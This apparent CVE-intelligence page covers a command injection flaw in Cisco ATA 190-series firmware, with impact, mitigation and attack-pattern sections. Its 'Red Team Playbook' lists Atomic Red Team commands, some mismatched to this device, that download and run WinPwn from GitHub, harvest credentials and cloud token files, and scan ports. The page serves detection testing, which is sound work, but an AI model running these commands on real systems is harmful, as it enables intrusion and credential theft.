CVE-2021-34710
Overview
The vulnerability arises from improper input validation in the Cisco ATA 190 Series Analog Telephone Adapter firmware, specifically enabling command injection through untrusted input processing. This flaw affects the device's firmware components responsible for handling command execution requests, allowing crafted inputs to be executed at the system level. The root cause involves insufficient sanitization of parameters passed to system commands within the device's software stack, leading to control flow manipulation.
Vulnerability Description
Multiple vulnerabilities in the Cisco ATA 190 Series Analog Telephone Adapter Software could allow an attacker to perform a command injection attack resulting in remote code execution or cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An attacker with authenticated network access can exploit these vulnerabilities to execute arbitrary commands on the device, leading to full system compromise or denial of service. This enables unauthorized control over the device's operations, potentially disrupting telephony services or using the device as a foothold for lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates that low-complexity attacks require valid privileges but no user interaction, increasing the risk in environments where credentials are accessible or weakly protected.
Solution
Cisco has released firmware updates addressing these vulnerabilities for the ATA 190 Series devices as detailed in their security advisory cisco-sa-ata19x-multivuln-A4J57F3. Administrators should apply the latest firmware patches for ATA 190, 191, and 192 models as specified by Cisco. Detailed remediation steps and version-specific patches are available at the Cisco Security Advisory portal, which should be followed precisely to mitigate these issues.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerabilities present in the Cisco ATA 190 Series Analog Telephone Adapter Software stem from flaws that allow for command injection, which can lead to severe consequences such as remote code execution and denial of service (DoS) conditions. Command injection vulnerabilities occur when an application improperly sanitizes user input, allowing an attacker to execute arbitrary commands on the host system. In the case of the affected Cisco products, these vulnerabilities can be exploited through specially crafted requests sent to the device, which can result in unauthorized access and control over the device's functionality.
Attack vectors for exploiting these vulnerabilities are varied and can be executed remotely, making them particularly concerning. An attacker could leverage network access to send malicious payloads to the affected devices, potentially leading to full system compromise. For instance, an attacker might craft a request that includes malicious commands, which, if executed, could allow them to manipulate the device's operations, intercept communications, or even pivot to other devices within the network. Additionally, the potential for a denial of service attack means that an attacker could disrupt the normal functioning of the telephony services provided by the adapter, leading to significant operational downtime.
The real-world impact of these vulnerabilities is substantial, particularly for organizations relying on Cisco's ATA products for their telephony infrastructure. A successful exploitation could result in unauthorized access to sensitive communications, data breaches, and significant disruptions to business operations. The financial implications could be severe, including loss of revenue during downtime, costs associated with incident response and remediation, and potential legal liabilities stemming from compromised customer data. Furthermore, the reputational damage from a publicized breach could have long-lasting effects on customer trust and brand integrity.
To detect and mitigate these vulnerabilities, organizations should adopt a multi-layered security approach. Regularly updating the firmware of the affected Cisco devices is crucial, as vendors typically release patches to address known vulnerabilities. Implementing network segmentation can also help limit the exposure of these devices to potential attackers, reducing the attack surface. Additionally, employing intrusion detection systems (IDS) can assist in identifying anomalous behavior indicative of exploitation attempts. Organizations should also conduct regular security assessments and penetration testing to evaluate their defenses and ensure that vulnerabilities are identified and remediated promptly.
In conclusion, the vulnerabilities in the Cisco ATA 190 Series Analog Telephone Adapter Software represent a significant threat to organizations utilizing these devices. The potential for command injection leading to remote code execution or denial of service highlights the importance of maintaining robust security practices. By understanding the technical details, attack vectors, and real-world implications of these vulnerabilities, organizations can better prepare themselves to defend against potential exploitation and safeguard their critical telephony infrastructure.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Ata 190 Firmware | N/A |
cpe:2.3:o:cisco:ata_190_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Ata 191 Firmware | N/A |
cpe:2.3:o:cisco:ata_191_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Ata 192 Firmware | N/A |
cpe:2.3:o:cisco:ata_192_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-34710 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ata19x-multivuln-A4J57F3 |